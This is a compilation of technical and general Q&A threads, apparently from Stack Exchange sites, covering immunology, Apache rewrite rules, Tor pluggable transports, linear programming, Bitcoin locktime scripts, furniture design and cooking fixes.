Antigenic and non antigenic

Question: Can any foreign molecule be non- antigenic ? Can any foreign peptide be non-antigenic ? What is the difference between an antigenic and a non-antigenic peptide ?
Answer: Something is antigenic because it acts as an antigen - it binds to an antigen receptor in the immune system (antibody, B-cell receptor, T-cell receptor, etc.). While the concept of "foreign" in immunology is often (incorrectly) equated with antigen, that is not the case. For example, there are many chemicals one could think of that are foreign (non-self), but don't usually raise immune responses - nylon, for example.
The difference between an antigenic and non-antigenic peptide is that the antigenic peptide, when presented in the correct circumstances, can raise an immune response. This means that, theoretically, the exact same peptide sequence can be both antigenic and non-antigenic depending on the environment - whether it's being presented in an immune-suppressed environment, for example. However, it's more common to classify antigenic potential based on whether it's possible for the substance to raise a response in an otherwise "normal" immune environment.
Comment: What exactly makes a substance antigenic/non antigenic ? I want to know the molecular basis for this/
Answer: Molecules are antigenic if they are able to elicit an immune response. Let's incorrectly equate "antigenic" with "elicits antibody response". It's conceivable that a molecule might elicit an immune response, but not generate antibodies - this nuance is not particularly helpful for answering the question.
Antibodies are proteins which recognize antigens. Exactly which antigen they will recognize depends on the exact sequence of the antibody. This sequence is generated by chance, but it is generated by recombining an array of pre-existing sequences: This means that not every conceivable antibody sequence can be generated by the immune system. Moreover, it is also possible that no antibody at all can be generated for a given substance. So, no, it is not guaranteed that you will be able to generate antibodies for every possible substance. In fact, companies which sell monoclonal antibodies for Western blots often find the occasional substance which will not generate antibodies from their animals (rabbits, mice, goats, and so on).
A second complication is that many molecules are very weakly immunogenic and rely on adjuvants.
Lastly, there is a simple counter example to your question: There are many foreign molecules, both LPS and peptide, produced by bacteria which do not trigger the immune system at all. This applies to all the species that make up our gut flora, since it would counter productive for the body to attack its own symbiotes.
Of course, the immune cells at some stage learn which molecules are "own" molecules, so that they do not attack their own body. If the "foreign" molecule is presented to them at that learning stage, they will not recognize it as an antigen in the future.
Answer: In principle every molecule above a certain size (single amino acids for example can not) can be immunogenic. A very important function of the immune system is to differentiate between molecules, which are foreign and which should raise an immune response and those, which are not and which therefore have to be tolerated. If this differentiation doesn't work, this lead to autoimmunic diseases.
There are two processes which are important here: self-tolerance and tolerance against foreign (or peripheral) antigens. Basically said for self-tolerance autoreactive lymphocites (B- and T-cells) are eliminated from the pool of developing cells, before they can fully differentiate. Only 1-2% of the cells which start developing go get through this selection process. Peripheral antigens (for example from food) are usually tolerated when there is not other immunologic process in the peripheral lymphoid tissues.
The process looks in principle like this (image taken from the second review listed below):

I will not write the whole process here, but the Wikipedia article on this topic is a good start. What I can also recommend is the Immunology book written by Janeway and colleagues (if you can get it via a library) and you can have a look on this two reviews:

Immunological Tolerance: Mechanisms
Primer: mechanisms of immunologic tolerance.

If you have problems accessing the articles, let me know.

Antigenic and non antigenic


.htaccess rewrite with % in query string doesn't work

Question: I am trying to do a rewrite of the site from
http://www.example.com/folder/site?data%5Bbranch%5D=xyz

to
http://www.example2.com/test/

Already tried the query string but facing issues with %. Any help?
Comment: "Already tried the query string" - I'm curious, how were you doing it before? There's nothing special about the `%` in the query string; it is matched as a literal `%`.
Answer: Note that if you need to match against the query string, you need to compare against the QUERY_STRING server variable in a mod_rewrite RewriteCond directive. You can't match against the query string using a mod_alias Redirect (or RedirectMatch) or the RewriteRule (mod_rewrite) pattern - these all match against the URL-path only, which notably excludes the query string.
Otherwise, there is nothing special about the % in the query string, it is matched as a literal % in the QUERY_STRING server variable (which is not decoded). Try the following:
RewriteEngine On
RewriteCond %{QUERY_STRING} ^data%5Bbranch%5D=xyz$
RewriteRule ^folder/site$ http://www.example2.com/test/? [R=302,L]

It is more efficient to match the URL-path in the RewriteRule pattern, rather than using a condition to match against REQUEST_URI. The RewriteRule pattern is first matched, and only if this is successful are the conditions (above it) processed.
No need to wrap the query string value in double quotes. But if you want to match just that query string, you will need start/end anchors (ie. ^...$). (Or use the exact match - lexicographically equal - operator prefix, =, ie. =data%5Bbranch%5D=xyz. Everything after the = prefix is treated as a literal string, not a regex).
The ? is required on the end of the RewriteRule substitution in order to remove the query string from the request, otherwise it will be passed through to the substituted URL. By ending the URL with ? essentially creates an empty query string (the ? itself is not included in the resulting URL). (If you are on Apache 2.4+ then you can use the QSD - Query String Discard - flag instead.)
The L flag ensures no other rules are processed if this is successful. Which is usually what you want to do in the case of an external redirect.
If this is to be a permanent redirect then change the R=302 (temporary) flag to R=301 once it is working OK. If you don't explicitly use the R flag to force an external redirect, it will be implicitly redirected because you have specified an absolute URL in the substitution. It is always better to be explicit. (NB: 301/permanent redirects are cached by the browser so it is often easier/safer to test with 302/temp redirects first. Or test with browser caching disabled.)
Comment: @Kevin - w3d is the best we have. You are in good hands!!
Comment: @closetnoc yes I can see that! :)
Comment: @w3d this is a much better answer than mine! Learned some new things as well! Thank you!
Comment: But trying to match the request uri in the rewriterule doesn't work. that's why we use the request_uri condition match. Apache is weird like that.
Comment: @ahnbizcad That doesn't really make sense - there is no obvious reason why you can't match the URL-path with the `RewriteRule` _pattern_ - in fact, that would be preferable (as mentioned in my answer). Note, however, that the URL-path matched by the `RewriteRule` _pattern_ excludes the directory-prefix in per-directory rewrites. Whereas the `REQUEST_URI` server variable includes the full URL-path from the request - so the regex to match these are not interchangeable. Also note, with respect to this question, that the URL-path notably excludes the query string.
Answer: Seems like I found an answer to my own question. Guess it is the right way to do it, but anyway:
RewriteCond %{REQUEST_URI}  ^/folder/site$
RewriteCond %{QUERY_STRING} "data%5Bbranch%5D=xyz"
RewriteRule (.*) http://www.example2.com/test/

Comment: There's a few issues with the code you've posted, I've added an answer with more explanation. (You also don't need to capture the matched URL if you aren't using it in the substitution. ie. the parentheses around `(.*)` are unnecessary.)


How does Tor obfs4 protocol and PTs work?

Question: Could someone explain how have many countries and corporations managed to differentiate tor traffic from normal traffic, and how exactly the obfs4 protocol (Or any other Pluggable transports) help better than any other bridge from bridge-db?
Answer: The Tor Project Wiki has a good article covering this: A Childs Garden Of Pluggable Transports.
The pluggable transport is used as a proxy for tors traffic, it provides an extra layer of transformation that exists around the core OR protocol traffic to mask it from censors or eavesdroppers trying to discover it's true  nature. In truth, pluggable transports are distinct from Tor and can be applied to arbitrary TCP network protocols, they provide a point-to-point obfuscated traffic tunnel. For how they fit into the Tor network protocol, from the Pluggable Transport Specification, the high level architecture overview looks like this:
 +------------+                    +---------------------------+
 | Client App +-- Local Loopback --+ PT Client (SOCKS Proxy)   +--+
 +------------+                    +---------------------------+  |
                                                                  |
             Public Internet (Obfuscated/Transformed traffic) ==> |
                                                                  |
 +------------+                    +---------------------------+  |
 | Server App +-- Local Loopback --+ PT Server (Reverse Proxy) +--+
 +------------+                    +---------------------------+

1. OR protocol (default/no pluggable transport)

When client creates a TLS tunnel to the guard relay or bridge it sends a ClientHello message. This announces things like what ciphers it is willing to support and also indicates the hostname it is trying to contact, through SNI. The supported set of ciphers can be used to identify Tor (even when using a bridge without a pluggable transport) along with the random looking hostname. Tor tried to make it's TLS handshake look as much as possible like Firefox, but ultimately this would still be possible to fingerprint. Further, some censored networks will actively block TLS entirely, so even if it could fake being a normal HTTPS handshake it would still not be suitable for many users to appear to be TLS, they would be blocked anyway for reasons unrelated to Tor.

2. obfsproxy/obfs2

This was the next deployed method to obfuscate traffic, it performed a symmetric key exchange, this exchanged key was then used to encrypt traffic to the bridge, this wasn't to "protect" the traffic but to obscure the underlying protocol from a passive eavesdropper. This has a problem though, in that it does not perform the key exchange through asymmetric cryptography. This means that a passive observer also sees the key and can trivially strip the encryption and see the details of the underlying protocol (Tor) and block it.

3. obfs3

This improved upon obfs2, it performed a key exchange using public key cryptography. This meant that the passive eavesdropper would not be able to discover the key by simply observing the traffic, they would need to perform exhaustive computations to break the key to test and see if the traffic under the obfuscation was Tor traffic. Unfortunately this came up against two problems. First the key exchange was unauthenticated, an active adversary can pretend to be Alice to Bob and pretend to be Bob to Alice. Both Alice and Bob believe they are communicating directly with each other but the adversary is actually acting as a man-in-the-middle. Because Bob and Alice don't have some shared secret or public key for signatures exchanged prior to their connecting, they cannot verify each other so the adversary can avoid attacking the cryptography by becoming an active attacker. Secondly, there was a simpler way still for adversaries to see if it was a bridge: Connect to the bridge themselves. When a censor sees someone making an unknown connection to the internet, they would follow up and make their own connection to the same destination and try to speak the obfs3 (or any other known Tor pluggable transport) protocol with it. If it succeeded, they just blocked it. Remember, the censor doesn't have to know what Alice and Bob are saying, the censor just wants to stop Alice and Bob communicating, the reason they want to break the cryptography is just to confirm it's Tor and block it.

4. ScrambleSuit

ScrambleSuit (definitely my favourite name for a pluggable transport ;)) addressed these problems by also distributing a shared secret with the bridge address. Since real bridge users would be provided this shared secret along with the bridge address and the censors would not, by requiring the client to prove that they know the key before it would talk to them a censor who tries to make their own connection after observing the user connect would not be able to elicit a reaction from the server, it would simply ignore them. This shared secret also provides a solution to the problem of the active adversary. Since Alice and Bob both share a secret they can use it to verify each other meaning that the adversary can no longer successfully masquerade as Bob or Alice to the other party. It can also be configured to provide optional "Inter-Arrival" Time obfuscation and padding to obfuscate the underlying protocols packet size, these frustrates attempts to try to recognize the underlying protocol through recognizing patterns in the "flow" of the underlying traffic, which might act as a distinguisher for censors to detect and block. By default they are not enabled as they come at a very large performance cost.

5. obfs4

While very similar to ScrambleSuit at its core design, improves upon it through the use of modern, high-speed elliptic curve cryptography rather than the UniformDH used in ScrambleSuit and obfs3, which allows it to have smaller, more secure and less computationally expensive authenticated key exchanges. In it's changing of the protocol handshake it also protects against an attacker who knows of the bridges shared secret from successfully impersonating the bridge, since this would require discovery of the private part of the shared public key. It provides at least the same features as ScrambleSuit and further improvements in it's ability to obfuscate the underlying protocol and it's speed.

6. meek

Meek is a different approach, rather than trying to stop the discovery of entry points into the Tor network, this tries to make it very hard for an observer to distinguish between Tor traffic and other traffic. Since powerful adversaries have been able to enumerate large sets of bridges through various means, being able to have entry points that don't rely on being unpublished to be hard to block provides an advantage. By utilising content distribution networks, Tor can make it's connections masquerade as a web request to some non-Tor resource to an outside observer, while internally directing the traffic into some server software that forwards traffic back and forth onto the Tor network. This makes it difficult for a censor to block only traffic onto the Tor network while allowing the other services behind the same CDN to continue unimpeded, essentially creating a situation where successful blocking would result in high collateral damage to totally unrelated resources making it potentially expensive and unpopular to block.

These are the most common pluggable transports that are deployed at present, there are a few other options which are covered in the wiki document. Obfs2 or obfsproxy-legacy should be considered unsafe and avoided, and it is listed there purely for historical context and progression from obfs2 through to the currently most popular obfs4.
Comment: ScrambleSuit does not obfuscate timing by default, and does not obfuscate packet size, just burst size.  obfs4 obfuscates burst size, and can (at a performance penalty) obfuscate packet size.  Basically obfs4 provides equivalent features to ScrambleSuit, and can be configured to do more.
Comment: We are also trying to make a clear on-ramp-y description for developers  with some scripts and walk-throughs at https://www.pluggabletransports.info/ ; see in particular https://www.pluggabletransports.info/transports/ and https://www.pluggabletransports.info/implement/ -- we'd love feedback at  https://github.com/OpenInternet/PT-website
Comment: Hmm I learn something today through this! It makes sense how Tor networks' exchange of cipher and it's metadata would be pretty unique. Wasn't able to think of it in that way initially on my answer here.
Comment: And the fact that the destination IP of a guard relay is in the data packet, that should have been obvious to me.
Answer: Hopefully this isn't a really bad answer.
Bridges and PTs are two related things with their own purposes to help each other.
As bridge nodes are not in any Tor directories, adversaries will have a harder time to notice that they are actually nodes for the Tor network.
Plugins on the other hand:

Pluggable Transports (PT) transform the Tor traffic flow between the
  client and the bridge. This way, censors who monitor traffic between
  the client and the bridge will see innocent-looking transformed
  traffic instead of the actual Tor traffic. External programs can talk
  to Tor clients and Tor bridges using the pluggable transport API, to
  make it easier to build interoperable programs.

Basically, PTs change the exchanged data and metadata you sent from the client to the bridge and vise versa to obscure it from looking like the normal Tor traffic. Some of them use cryptography to obscure it, while others are disguised to look like other types of transfer data. For example, the unused SkypeMorph which make the traffic looks like Skype Video.
For obfs4, it is further explained here:

Is a transport with the same features as ScrambleSuit but
  utilizing Dan Bernstein's elligator2 technique for public key
  obfuscation, and the ntor protocol for one-way authentication. This
  results in a faster protocol.

ScrambleSuit:

protects against follow-up probing attacks and is also capable of changing its network fingerprint (packet length distribution, inter-arrival times, etc.).


Quantum operation in blocks

Question: I have $n$ states in superposition $|A\rangle=\dfrac{1}{2^{l/2}}\sum_{i=0}^{2^l-1}\sum_{j=0}^{2^l-1}|0\rangle^{\otimes q}|i\rangle^{\otimes l}|j\rangle^{\otimes l}$. Now I have to apply the transform in batches of $4$ i.e for example Let $l=2$, then $$A= \dfrac{1}{2^{2/2}}\left( |0\rangle^{\otimes q}|00\rangle|00\rangle+ |0\rangle^{\otimes q}|00\rangle|01\rangle+|0\rangle^{\otimes q}|00\rangle|10\rangle+|0\rangle^{\otimes q}|00\rangle|11\rangle+|0\rangle^{\otimes q}|01\rangle|00\rangle+|0\rangle^{\otimes q}|01\rangle|01\rangle+|0\rangle^{\otimes q}|01\rangle|10\rangle+|0\rangle^{\otimes q}|01\rangle|11\rangle+|0\rangle^{\otimes q}|10\rangle|00\rangle+|0\rangle^{\otimes q}|10\rangle|01\rangle+|0\rangle^{\otimes q}|10\rangle|10\rangle+|0\rangle^{\otimes q}|10\rangle|11\rangle+|0\rangle^{\otimes q}|11\rangle|00\rangle+|0\rangle^{\otimes q}|11\rangle|01\rangle+|0\rangle^{\otimes q}|11\rangle|10\rangle+|0\rangle^{\otimes q}|11\rangle|11\rangle\right)$$Now as there are $16$ states in superposition here, I need to apply a unitary transform to $4$ states at at a time i.e the first $4$, then the second $4$ , then the third $4$ , then the last $4$. The transform that I apply every time on the four states is on the first register $0\rangle^{\otimes q}$ of each state. The unitary transform between these states is $P$.  How would the tensorial notation of this state look like is my question? How do I give the right notation that the operator acts on $4$ states and then the next four is my doubt.
Comment: can somebody suggest ?
Comment: The normalisation factor is off. It is a superposition of 16 states and each is 1/2.
Comment: Terms of a superposition cannot be separated like that. Generally we talk about applying transforms on a set of qubits. What is the context?
Answer: You'd need to apply $P$ controlled on the second register. I assume you want a different operation for each of the 4 sets? In terms of a tensor product you'd need operators like
$$P_1\otimes |00\rangle\langle00|\otimes I$$
$$P_2\otimes |01\rangle\langle01|\otimes I$$
$$P_3\otimes |10\rangle\langle10|\otimes I$$
$$P_4\otimes |11\rangle\langle11|\otimes I$$

Quantum operation in blocks


How to stop Windows Update from offering to install "Games for Windows V3.0" repeatedly?

Question: Windows Update keeps offering to install Games for Windows V3.0.  How do I get it to stop?
Comment: Thank you all very much... the manual install of GFWL solved my problem. :)
Answer: Do you perhaps have a previous version of that package installed?  It might not be wanting to perform a fresh install, but instead be trying to apply a mandatory update patch.
Edit: After looking at the German, I see that it's not "Wichtig"; "Important", but rather "empfehlen"; "Recommended".  I see the "Status" column says "erfolgreich"; "Successful".
Edit2 I also note the column further to the right labeled "Installationsdatum"; "Installation date". My question stands. :-)
Answer: If you have an old version and the update is just failing it might be worth downloading the latest version and doing a manual install.
Answer: I solved this issue by removing the Games for Windows Live applications (I removed both "Microsoft Games for Windows - LIVE" and "Microsoft Games for Windows - LIVE Redistributable") from my computer, then downloading the installation program from the website and re-installing GFWL.
You can download the program here (scroll down to the big yellow button).
http://www.microsoft.com/games/en-us/aboutGFW/pages/gfw3intro.aspx


Can you tell if a plant is edible by watching what animals eat it?

Question: If I see a deer munching on a particular plant, is that enough to indicate that it's safe to eat? How about other animals?
Comment: Deer love tobacco, and on a golf course in my home town they were known to snatch cigarettes out of golfers' hands. I would not recommend eating tobacco.
Answer: No.
For one, you may not be capable of gathering any worthwhile nutrition. You could eat grass all day and still be hungry.
Secondly, many animals are immune to toxins that are nasty to us. Best example I know of is that goats and many other new world animals can eat poison ivy. But if you try eating it, you're in trouble.
Comment: Another good example is deadly nightshade, or any other plant containing atropine.  Many animals (rabits, cattle, goats) can eat it, but just few leaves or berries are likely to kill you.


Accessing my files from Windows

Question: I recently installed Ubuntu alongside Windows. I have seen several guides giving me the same advice as to how to mount my harddrive with my Windows files in it in Ubuntu but it doesn't ever show my drive when I click the home folder. Is there anything I can do?
Answer: I guess you have NTFS file system on your windows partition. If not, please do not try to use the ntfs-3g driver!
Here is a pointer to an excellent document on the configuration of fstab config file:
FSTAB configuration
fstab is a config file in which partitions are named which should be mounted at boot time. In Linux, partitions are mounted into a folder, thus you have to create a line similar to this for your windows partition:
<code>/dev/hda2 /media/windows ntfs-3g defaults,locale=en_US.utf8 0 0
</code>
This line makes Linux mount the device /dev/hda2 (replace this with the device of your windows partition) to the folter /media/windows (replace this by the folder where you wish your windows files to appear). I suggest to keep it in /media/... and then create a nautilus bookmark for simple access.
Last point: Warning! Be careful when editing your /etc/fstab file. A corrupt line in there could make your ubuntu unbootable!

Accessing my files from Windows


Why is there open/deadspace under most wooden furniture

Question: I am in the design phase of a chest of drawers project, and it occurred to me that nearly every piece of wooden furniture I have seen has a 2-4 inch gap under it.  Often this has the furniture up on short legs, but even where the front/sides come to the floor, the back is open.  I am trying to figure out if there is a particular reason for this feature?
Comment: to collect dust bunnies
Comment: Just pointing out that there are woodworking traditions that do not have that space, such as the Japanese tansu.  Would be interesting to know why the arguments given in the answers didn't apply to tansus...
Comment: I am also working as a specialist for wooden furniture because of the shape when they do it is becoming strain.
Answer: The main reason is that woodworking of old days, Joinery was more of an art than a mechanised given. The structure was designed to accommodate for wood settling and fluctuating due to weather conditions (humidity etc) ...
Basically, the most stable structure was one, where the weight rested on the four points which were the most stable (the legs or balls) As Rozwel noted, a flat board on the floor would be susceptible to high points which would unsettle the joinery of the piece as the wood base would most certainly flex to accommodate for the high point and in doing so, throw the piece out of square.
Short answer, the four contact points would lead to a more stable cabinet over a more diverse set of floor types.
Answer: It is possible to design a cabinet or chest of drawers without legs at all. However, in traditional cabinetry, the legs are actually part of the structure.
If you study traditional furniture, you will see that these legs have a specific purpose. They typically go from the floor to the top of the piece in each of the 4 corners. The legs are load bearing, and they are also incredibly strong. The cabinet box is then constructed by having 4 horizontal members on the top and bottom which connects the legs together. This form of design goes back many centuries, and has not changed very much.
The rest of the elements of the cabinet should not be load bearing such as the sides and the back. If the legs ended abruptly at the bottom rail and did not extend past it, then non load bearing components would be in contact with the floor. This would both weaken the cabinet and interfere with its operation.
In other words, if you chest of drawers had no feet, then the support for the bottom drawer would be directly on the floor. Since it is not meant to be load bearing, the support will flex and bind the drawer which will make it difficult to open and close. Even if this was not the case, when the drawer is opened, then the bottom of it will be resting directly on the floor. That is something that is not desirable.
The longer legs allows it to evenly distribute the weight of the piece and its contents. Other design elements then would not have to then bear the brunt of the weight.
Having legs also has the added benefits of being able to set it on a floor that isn't perfectly level without rocking or being unstable. Going back to ancient times before wall-to-wall carpeting, it also allows you to sweep under them. Floors in these homes were also fairly damp and the piece would become waterlogged, moldy, and eventually rot.
The piece on the bottom that you mentioned in the question is sometimes called an apron. It is there for aesthetic purposes only. If you look closely, you will see that there is a small gap between the apron and the floor and the actual weight is actually supported by the legs. Since this is purely aesthetic, there is no need to install one behind the cabinet where nobody can see it.
Comment: Doesn't necessarily have to be 4 legs, could be full sides in contact with the floor but the overall premise I agree with. Easier to account for fluctuations with smaller points of contact. Plus you don't want the bottom drawer all the way on the floor as it can bind against the floor while opening and it's a bit easier to reach a drawer that is a little higher up.
Comment: @OrganicLawnDIY 4 legs is the optimal amount for most cabinetry, but there are certainly some pieces that don't follow this rule. A lot of modern (cheap) furniture made by Ikea, Sauder, etc. is made of engineered woods such as particle board, and doesn't have the strength that furniture made out of solid wood has. If you tried to build furniture in the traditional way with proper legs instead of straight sides, then the legs would probably just break off. Other types of cabinets that are permanently installed can have straight sides, because they are usually trimmed, or shimmed to be level.
Answer: Blindly following what went before. Because people buying furniture don't think a box right on the floor is "furniture". Ratchet Freak is quite right as well...
I suppose at some point in the past it kept them off the mud and dank of the dirt or stone floor, and thus had a functional purpose, largely long-lost.
I rather like the Shaker solution of putting beds on wheels so you can sweep under them, but that does not tend to be the "Shaker furniture" people want to buy. I also like their extensive built-ins (so you'd just have drawers in a wall, rather than a chest of drawers.)
Also provides great mouse habitat, so it may be that we were programmed to like furniture that way by hyperintelligent pan-dimensional beings who's protrusion into our dimension looks like white mice (R.I.P., D.A.) ;-) It certainly serves as a place where cat toys can be stored out of reach (with their dust-bunneh friends) until you get the humans to fish them back out for you.
Comment: + 1 for the Hitchhikers reference.  :-)
Comment: The only logical things that have come to mind are possibly to allow airflow, and/or to make it easier to deal with irregularities in the floor surface.  The idea of getting some separation from unfinished floors in olden times also makes sense.
Comment: Might it also be something of an aesthetics? If the poor indeed used 'non furniture' like boxes on the floor, maybe the longer the furniture's legs, the fancier the furniture. Compare the lowly stool to the tall winged back chair.


Is it possible to combine multi-sig and locktime?

Question: Is it possible to create a 1 of 2 multi-sig address in which only one of the keys is time-locked and the other can sign any time?
Answer:
only one of the keys is time-locked

Keys aren't time-locked. Transactions are. However, Bitcoin now has an opcode for this purpose: OP_CHECKLOCKTIMEVERIFY.
Essentially, it forces the transaction to have a lock time further in the future than its argument, otherwise the transaction is invalid.
In your case, the script would look like this:
OP_IF <this pubkey can spend at any time> OP_CHECKSIG OP_ELSE <block number> OP_CHECKLOCKTIMEVERIFY OP_DROP <this pubkey must wait until block number> OP_CHECKSIG OP_ENDIF

The spend-anytime key can redeem the transaction with
<Sig> 1 <above script>

The other key can redeem with
<Sig> 0 <above script>

but only after the given block number.
Answer: No, not the way you are describing. The lock is placed on transaction outputs, not the private key(s). When the lock expires the outputs can be spent but it doesnt matter which of the M of N signatures are used, just as long as they are valid and that there are at least M of N.
Comment: Using OP_CHECKLOCKTIMEVERIFY the output being spent can require the locktime of the spending transaction to be a certain value in case one of the signers doesn't sign.
Comment: @PieterWuille this sounds like it achieves the same effect as the question implies, but I can't quite grasp how to do it. Could you elaborate or give an example? Thank you!


Linear programming feasibility problem with strict positivity constraints

Question: There is a system of linear constraints ${\bf Ax} \leq {\bf b}$ . I wish to find a strictly
positive vector ${\bf x} > 0$ that satisfies these constraints. That means, $x_i > 0$ is
required for every component $x_i$ of ${\bf x}$.
How can I use an LP solver to find such a strictly positive vector ${\bf x}$ (or confirm that no
${\bf x}$ exists)? I cannot simply introduce another
system of constraints $x_i > 0$, because equality must always be permitted in
an LP—but I can use the LP solver several times, with changing
objective functions.
I think I should use the slack variable method, but I don't know how.
Answer: You can circumvent the problem of choosing a small $\epsilon>0$ by being a bit more ambitious: Try to find $\mathbf{x}$ such that $\mathbf{Ax}\leq \mathbf{b}$ and that the smallest entry in $\mathbf{x}$ is largest possible.
To that end, introduce a new variable
$$\mathbf{y} = \begin{bmatrix} \mathbf{x}\\ \epsilon\end{bmatrix}\in\mathbb{R}^{n+1}$$
(if $\mathbf{x}$ was in $\mathbb{R}^n$) and solve the following problem by an LP-solver
$$
\max_y [0 \dots 0\ 1]\cdot \mathbf{y}\quad \text{s.t.}\quad [A\ \mathbf{0}]\mathbf{y}\leq\mathbf{b}\quad \text{and}\quad  \mathbf{0}\leq \begin{bmatrix}1  & 0 & \cdots & 0 & -1 \\ 0 & 1 & \cdots & 0 & -1  \\ & \ddots & &\vdots \\ 0 & \cdots & & 1 & -1 \end{bmatrix}\mathbf{y}.
$$
This is a reformulation of the following problem:
$$\max \epsilon \quad\text{s.t}\quad \mathbf{Ax\leq b}\quad\text{and}\quad \mathbf{x}\geq\epsilon\mathbf{1}.$$
Comment: well done, this is equivalent to a trick a coauthor and I just used in a recent paper, and definitely superior to the approach I suggested.
Comment: Agreed. Well played, sir.
Comment: The reformulated problem may have an unbounded objective in cases where the answer to the original problem is trivial.  For example, if the system of constraints is just $x \ge -1$.  That is fine as long as you check for feasible, optimal or unbounded in the return status of your lp solver, or explicitly bound the $\epsilon$.
Comment: @DavidNehme: One can add the constraint $y_{n+1}\le 1$ to get a bounded objective.
Answer: For an LP feasibility problem, I wouldn't use standard simplex. Standard primal (or dual) simplex algorithms will only visit the vertices of the feasible set of the primal (or dual) problems.
Let the feasible set of the problem you actually want to solve be $F = \{\mathbf{x}: \mathbf{Ax} \leq \mathbf{b}, \mathbf{x} > \mathbf{0}\}$, and suppose instead you were to solve the problem ($F_{\varepsilon}$):
$$\begin{alignat}{1}
& \min_{\mathbf{x}} \quad 0 \\
\textrm{s.t.} & \quad \mathbf{Ax} \leq \mathbf{b} \\
& \quad \mathbf{x} \geq \varepsilon \cdot \mathbf{1}.
\end{alignat}
$$
The closest approximant of the problem you want to solve is $F_{0}$, which admits slightly too many points. The problem is that the boundary of the positive orthant (i.e., the set $B = \{\mathbf{x}: \mathbf{x} \geq 0, \exists{i}: x_{i} = 0\}$ could make up part of the boundary of the feasible set of $F_{0}$. We'd like to exclude those points. One way of doing that is to do what Aron suggested, which is to set $\varepsilon$ to some small positive value, and then use any standard LP algorithm. This strategy is a good one, and will probably work in a wide variety of situations. However, it will fail if $F_{\varepsilon}$ is infeasible.  We know that $F_{0} \subset F \subset F_{\varepsilon}$ for all $\varepsilon > 0$ (to abuse notation and refer to a feasible set by its corresponding problem), and it's possible that even if you pick small positive values of $\varepsilon$, the LP solver will indicate that your LP is infeasible.
For an LP solver, I'd use any interior point algorithm for LPs that starts with a feasible point and stays feasible, which is another way to exclude points in $B$. You needn't have to supply a feasible point to these algorithms; standard solvers will do it for you. Methods like affine scaling, potential reduction, and barrier methods set up auxiliary LPs that will find feasible solutions, and the iterates for these algorithms traverse the interior of the feasible region. You only need to locate one point in your feasible region, so as long as the auxiliary problems used by the LP solvers locate a feasible point for your problem, and that feasible point is strictly positive, you should be all right. If solving $F_{\varepsilon}$ fails for small positive values of $\varepsilon$, you might still be able to use these methods to locate a strictly positive feasible point within $F_{0}$.
Don't use simplex, though, because it will only explore the vertices of $F_{\varepsilon}$, which is exactly what you want to avoid doing.
Answer: Feasibility problems are a slightly trickier game than general linear problems, which you have noted.  If you are solving approximately (by using a floating-point representation of the system of equations and constraints), it is legitimate to require $x_i >= \epsilon$, where $\epsilon$ is some very small numerical value, big enough to assure that $x_i$ actually lives in $\Re_+$, but small enough that a solution on the boundary is not considered.
You might have to adjust $\epsilon$, and your solution will be qualified to "within a factor of $\epsilon$", but this is sufficient for many situations.
Answer: The answer given by aeismail is to be read carefully, regard the lp
$\max( x_1 + x_2)$
s.t.
$x_1 + x_2 \le 1$
$x_1,x_2 \ge 0$
It has solutions $(1,0)$ and $(0,1)$ as well as others (degenerated). The generality of the question implys that these cases need to be treated as well.
Since you are able to choose you objective function, you could try to modify it iteratively. E.g. Start with all coefficients for all variables equal to one, check wether you gain an approprate solution. If one variable is zero, rise it's coefficient and start again...
Though I can not give a mathematical prove that this works (or a well defined procedure how to modify the objective function). I hope this helps :)
Comment: However, if you have a large number of degenerate solutions, how would you deal with this numerically? Won't pretty much any numerical solver throw up a warning (or worse) about solving this problem?
Comment: No, they won't; they'll just return the first optimal solution encountered. The way that you would continue to generate solutions is to add cutting planes (or other constraints) that exclude previously calculated optimal solutions. In this case, adding such cutting planes would enable you to return a discrete approximation of the infinite set of optimal solutions.
Comment: I would view that as a strange programming decision; why wouldn't you want to tell the user that the objective function was doing something weird in the neighborhood of the reported solution? For a nonlinear solver, I could see there being an issue with figuring out what's going on; but shouldn't that be easier to tell with a linear system?
Comment: I'd have to think about how one would detect degeneracy by actually constructing problems, but typically, users want an optimal solution, so the most important information for an LP is to return if the solution is optimal, feasible (but not optimal), infeasible, or unbounded. (These statuses are, in fact, what a solver like CPLEX would return.) Degeneracy is primarily a theoretical issue; the only reason it would be discussed in a numerical context is either in algorithm design or in practice, to note that degeneracy typically slows down a solver.


Developing workflow for existing silverlight and WCF application

Question: I have an already existing application in Silverlight 4.0 with WCF services. Now what I want is a workflow to be integrated along with the above application. The workflow will be a simple approval workflow i.e sequential workflow. Can any one suggest some links or a solution?
Comment: What did you try, so far? Did you try any solution that you didn't find good for your case?
Comment: Are you able to provide a more specific question? You should try to find a "how do I build a workflow" tutorial.
Comment: I can build workflow but to integrate it with the existing project so that i don't need to change much in wcf service is my main aim.
Comment: Karan, I don't think you question is answerable as it stands. You really need to update it with a more thorough description of what you are trying to achieve.
Answer: A workflow is simply applying a state to your application's data.
And the type of workflow you described (simple, sequential) is a really good fit with the async model that WCF requires.
When a user submits a request for a resource, they have to wait until their supervisor (and so on up the chain) approves the request.  In the meantime, the user is free to go about other work or simply wait for the resource request to be approved.  Polling or notification mechanisms of some sort are required for the user and the approvers.  The user needs notification for when the resource is available, and the approvers need notification that they have work (grant | deny approval) to do.
One possibility for those mechanisms is to add a polling routine to your View-Models.  Another option would be to look at push type notifications.  However, there's nothing within Silverlight or WCF that makes creating a workflow inherently more difficult than with any other framework.


How can I reduce the salt in oversalted potatoes?

Question: Let's just say I was experimenting, and now I have a pan full of diced carrots and potatoes that have been boiled and way, way over-brined. They taste like... salt. It's very bad.
Comment: This isn't an answer, but know that sometimes it's best to just trash it and not throw good ingredients after bad. It depends on the salt level, if you oversalted 4 potatoes and you feel like adding a fifth potato would make it palatable, go for it. But if you put 4x the amount of salt you should have, maybe just start over.
Answer: Basically dilution is the key, though a rinse and a short soak in fresh water will help a bit.
You could freeze them in small quantities and use them up in vegetable soup a little at a time. Don't forget that commercial stock has quite a lot of salt in, so reduce that accordingly.
Some thick stews could tolerate some mashed veg in them, again in fairly small quantities.
By mixing with completely unsalted veg you could make a form of bubble and squeak, but you'd have to mash/mix it more than normal to avoid having locally salty bits.
Comment: On the bubble & squeak approach -- there's also the Dutch stamppot (but use an unsalted meat, not bacon), or any form of hash, really.  I've even had a potato salad that was made w/ mashed potatoes that was really, really good.
Comment: @Joe, that sounds suitable. Your mention of hash made me wonder if they would work in a scrambled-egg-based hash of even a tortilla (Spanish omelette).
